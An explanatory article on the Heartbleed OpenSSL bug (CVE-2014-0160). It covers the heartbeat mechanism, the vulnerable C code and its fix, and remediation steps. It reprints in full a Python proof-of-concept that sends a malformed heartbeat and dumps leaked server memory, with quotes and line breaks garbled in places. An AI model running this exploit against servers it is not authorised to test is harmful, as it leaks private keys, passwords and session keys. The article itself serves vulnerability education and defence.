The Secure Sockets Layer (SSL) is a protocol described in RFC 6101, it’s used for managing the security of a message transmissions on the Internet. SSL has been succeeded by Transport Layer Security (TLS), described in RFC 5246, which is based on SSL. Developed by Netscape, SSL also gained the support of other Internet client/server developers as well and became the de facto standard until evolving into TLS. TLS/SSL uses the public-and-private key encryption system from RSA, which also includes the use of a digital certificate. TLS/SSL is an integral part of most Web browsers (the client side) and Web servers.

OpenSSL library derives from SSLeay. SSLeay was originally developed beginning in 1995, but in December 1998 SSLeay ceased to be developed and the first version of OpenSSL was released (using SSLeay last release, never released, as starting point). OpenSSL is composed of two library: the first concern in cryptography and the latter is focused on SSL, as reported in the following:

SSL library provides an implementation of all versions of the SSL protocol, including TLS;

cryptography library provides popular cryptographic algorithms for both symmetric and public key, hash algorithms such as message digests. Moreover it provides a pseudorandom number generator and support for manipulating certificate.

OpenSSL is a free, full-featured SSL implementation currently available for use with both C and C++ programming languages. It can works across most used platforms, including all Unix OSs and all versions of Microsoft Windows. In practice, OpenSSL is a very widely used encryption library and it’s used by HyperText Transfer Protocol over Secure Socket Layer (HTTPS), which is used in order to secure communications in Internet network.

Heartbleed is a bug, it resides in a piece of code belonging to OpenSSL implementation of the ‘heartbeat’ mechanism (which is a feature used in order to keep the connections alive and it’ll be described in a deepen way in the following of the article), OpenSSL 1.0.1 through 1.0.1f (included) are vulnerable. The Heartbleed bug was registred as CVE-2014-0160 in the National Vulnerability Database of NIST.

In this article the author will explain cause and remedy of heartbleed bug, with the assumption that the reader is not a skilled software developer.

Heartbeat Feature

When two servers are ready to make an encrypted handshake, they perform a feature called a Heartbeat.
The TLS Heartbeat feature was conceived and developed in order to keep a connection alive, even when data does not run through it. So that if something goes wrong during this process, it doesn’t keep going. They do this by sending data forth and back to each other. This is accomplished by mean of messages containing random data and a payload length, one peer sends this message to the other which must to respond with another message sending exactly the same data. Thus, the client sends its heartbeat to the server and the server reply it right back. In this way, if something goes wrong during the transaction process, the other side will know it because the heartbeats get out of sync. In the following the data structure of the request is reported:

struct {

HeartbeatMessageType type;

uint16 payload_length;

opaque payload[HeartbeatMessage.payload_length];

opaque padding[padding_length];

} HeartbeatMessage;

As you can see by the above structure, the payload request is two bytes long.

We’ll see in the following of this article why this length is so important.

Bug Description

When you code a software, data input control length is really an important task, it should be accomplished by each smart developer in order to avoid an exploitation called ‘buffer overflow’. In Hertbleed bug the problem is in the code that handles the ‘heartbeat’ messages, since the bounds of the input are unchecked. By mean of this code mistake, one attacker can request that a server victim hands over a relatively large slice (up to 64KB) of its main memory space. Unfortunately, that memory space could be the same where OpenSSL stores the server’s private key material and other sensitive informations, hence one attacker could obtain some important informations like that reported in the following:

long-term server private keys;

passwords;

TLS session keys.

These security informations could permits the attacker to decrypt TLS sessions and steal other useful information. Unfortunely, if an attacker discovers the server’s long-term private keys, he’ll be able to impersonate the TLS server identity without leave any trace. Now let’s have a look where the source code of openSSL is affected by the bug.

The source code interested by the Heartbleed bug is reported in the following:

/* Read type and payload length first */

hbtype = *p++;

n2s(p, payload );

pl = p;

if (s->msg_callback)

s->msg_callback(0, s->version, TLS1_RT_HEARTBEAT,

&s->s3->rrec.data[0], s->s3->rrec.length,

s, s->msg_callback_arg);

if (hbtype == TLS1_HB_REQUEST)

{

unsigned char *buffer, *bp;

int r;

/* Allocate memory for the response, size is 1 bytes

* message type, plus 2 bytes payload length, plus

* payload, plus padding

*/

buffer = OPENSSL_malloc(1 + 2 + payload + padding);

bp = buffer;

/* Enter response type, length and copy payload */

*bp++ = TLS1_HB_RESPONSE;

s2n(payload, bp);

memcpy(bp, pl, payload );

r = ssl3_write_bytes(s, TLS1_RT_HEARTBEAT, buffer, 3 + payload + padding);

The incoming data has a length stored into the variable called payload (which is emphatised by the author in the above source code) and it is managed as trusted value, since there’s not any bounds check. Then, at the response time, OpenSSL allocates a buffer by mean of the function OPENSSL_malloc, which is stored in the variable called buffer. Finally, it copies a number of data equal to payload number of bytes, from the variable called pl into the buffer allocated and now referred with the name bp. As already reported, there’s no check which assures that there are actually a number of bytes equal to payload in data, or that is in the bounds. Hence the attacker is able to obtain a piece of data from the main memory, that’s up to 64KB in length.

In order to fix this nasty bug, OpenSSL developers have added the appropriate checks in the source code.
In the following the source code of the bug fix is reported, the bounds control are reported in the if statements.

/* Read type and payload length first */

if (1 + 2 + 16 > s->s3->rrec.length)

return 0;

/* silently discard */

hbtype = *p++;

n2s(p, payload);

if (1 + 2 + payload + 16 > s->s3->rrec.length)

return 0;

/* silently discard per RFC 6520 sec. 4 */

pl = p;

Bug Testing

There’s a script available on the web, it’s written in Phyton and could be used in order to test the server’s vulnerability. The author of this article recomends to use this tool only either you’re the owner of the server or you have the owner’s permission, otherwise you could be detected as attacker and get some trouble with the justice.

 

#!/usr/bin/python

# Quick and dirty demonstration of CVE-2014-0160

# by Jared Stafford (jspenguin@jspenguin.org)

# The author disclaims copyright to this source code.

import sys

import struct import socket

import time

import select

import re

from optparse import OptionParser

options = OptionParser(usage=’%prog server [options]’,

description=’Test for SSL heartbeat vulnerability (CVE-2014-0160)’)

options.add_option(‘-p’, ‘–port’, type=’int’, default=443,

help=’TCP port to test (default: 443)’)

def h2bin(x):

return x.replace(‘ ‘, .).replace(‘n’, .).decode(‘hex’)

hello = h2bin(.’

16 03 02 00 dc 01 00 00 d8 03 02 53

43 5b 90 9d 9b 72 0b bc 0c bc 2b 92 a8 48 97 cf

bd 39 04 cc 16 0a 85 03 90 9f 77 04 33 d4 de 00

00 66 c0 14 c0 0a c0 22 c0 21 00 39 00 38 00 88

00 87 c0 0f c0 05 00 35 00 84 c0 12 c0 08 c0 1c

c0 1b 00 16 00 13 c0 0d c0 03 00 0a c0 13 c0 09

c0 1f c0 1e 00 33 00 32 00 9a 00 99 00 45 00 44

c0 0e c0 04 00 2f 00 96 00 41 c0 11 c0 07 c0 0c

c0 02 00 05 00 04 00 15 00 12 00 09 00 14 00 11

00 08 00 06 00 03 00 ff 01 00 00 49 00 0b 00 04

03 00 01 02 00 0a 00 34 00 32 00 0e 00 0d 00 19

00 0b 00 0c 00 18 00 09 00 0a 00 16 00 17 00 08

00 06 00 07 00 14 00 15 00 04 00 05 00 12 00 13

00 01 00 02 00 03 00 0f 00 10 00 11 00 23 00 00

00 0f 00 01 01

.’)

hb = h2bin(.’

18 03 02 00 03

01 40 00

.’)

def hexdump(s):

for b in xrange(0, len(s), 16):

lin = [c for c in s[b : b + 16]]

hxdat = ‘ ‘.join(‘%02X’ % ord(c) for c in lin)

pdat = ..join((c if 32 <= ord(c) <= 126 else ‘.’ )for c in lin)

print ‘ %04x: %-48s %s’ % (b, hxdat, pdat)

print

def recvall(s, length, timeout=5):

endtime = time.time() + timeout

rdata = .

remain = length

while remain > 0:

rtime = endtime – time.time()

if rtime < 0:

return None

r, w, e = select.select([s], [], [], 5)

if s in r:

data = s.recv(remain)

# EOF?

if not data:

return None

rdata += data

remain -= len(data)

return rdata

def recvmsg(s):

hdr = recvall(s, 5)

if hdr is None:

print ‘Unexpected EOF receiving record header

server closed connection’

return None, None, None

typ, ver, ln = struct.unpack(‘>BHH’, hdr)

pay = recvall(s, ln, 10)

if pay is None:

print ‘Unexpected EOF receiving record payload

server closed connection’

return None, None, None

print ‘ … received message: type = %d, ver = %04x,

length = %d’ % (typ, ver, len(pay))

return typ, ver, pay

def hit_hb(s):

s.send(hb)

while True:

typ, ver, pay = recvmsg(s)

if typ is None:

print ‘No heartbeat response received, server likely not vulnerable’

return False

if typ == 24:

print ‘Received heartbeat response:’

hexdump(pay)

if len(pay) > 3:

print ‘WARNING: server returned more data than it should

server is vulnerable!’

else:

print ‘Server processed malformed heartbeat, but did not

return any extra data.’

return True

if typ == 21:

print ‘Received alert:’

hexdump(pay)

print ‘Server returned error, likely not vulnerable’

return False

def main():

opts, args = options.parse_args()

if len(args) < 1:

options.print_help()

return

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

print ‘Connecting…’

sys.stdout.flush()

s.connect((args[0], opts.port)) print ‘Sending Client Hello…’

sys.stdout.flush()

s.send(hello)

print ‘Waiting for Server Hello…’

sys.stdout.flush()

while True:

typ, ver, pay = recvmsg(s)

if typ == None:

print ‘Server closed connection without sending Server Hello.’

return

# Look for server hello done message. if typ == 22 and ord(pay[0]) == 0x0E:

break

print ‘Sending heartbeat request…’

sys.stdout.flush()

s.send(hb) hit_hb(s)

if __name__ == ‘__main__’:

main()

Once you have found out the vulnerability, you need to sort out the problem with OpenSSL library. As already reported, the 1.0.1g version is bug free. You can also recompile a version affected by Heartbleed bug by using the following option: -DOPENSSL_NO_HEARTBEATS.

Since there’s no a way to understand if one server has been exploited by an attacker, once the vulnerability was discovered the best practice is to assume that the server has been attacked. Hence, the network administrator must revoke the certificate belonging to the server and then he’ll create a new one.

Conclusion

In this article the author has described the most dangerous treats of the moment: the Heartbleed bug. This bug is a vulnerability belonging to the SSL servers, which are securing their connections by mean of OpenSSL library. Not all release of OpenSSL library are affected by this bug, the article reports the buged versions and provide a Phyton script, which could be used in order to test the vulnerability (be careful to use this testing utility just targeting servers with a previous owner’s authorization). Finally, the article reports the countermeasures that a network administrator should take in account in order to fix this nasty bug.

On the Web

http://heartbleed.com – Heartbleed bug web page

https://www.openssl.org – OpenSSL project

https://gist.github.com/sh1n0b1/10100394 – Source code of tester

http://tools.ietf.org/html/rfc5246 – RFC of TLS

http://tools.ietf.org/html/rfc6101 – RFC of SSL

What Do You Think on This ? Say Here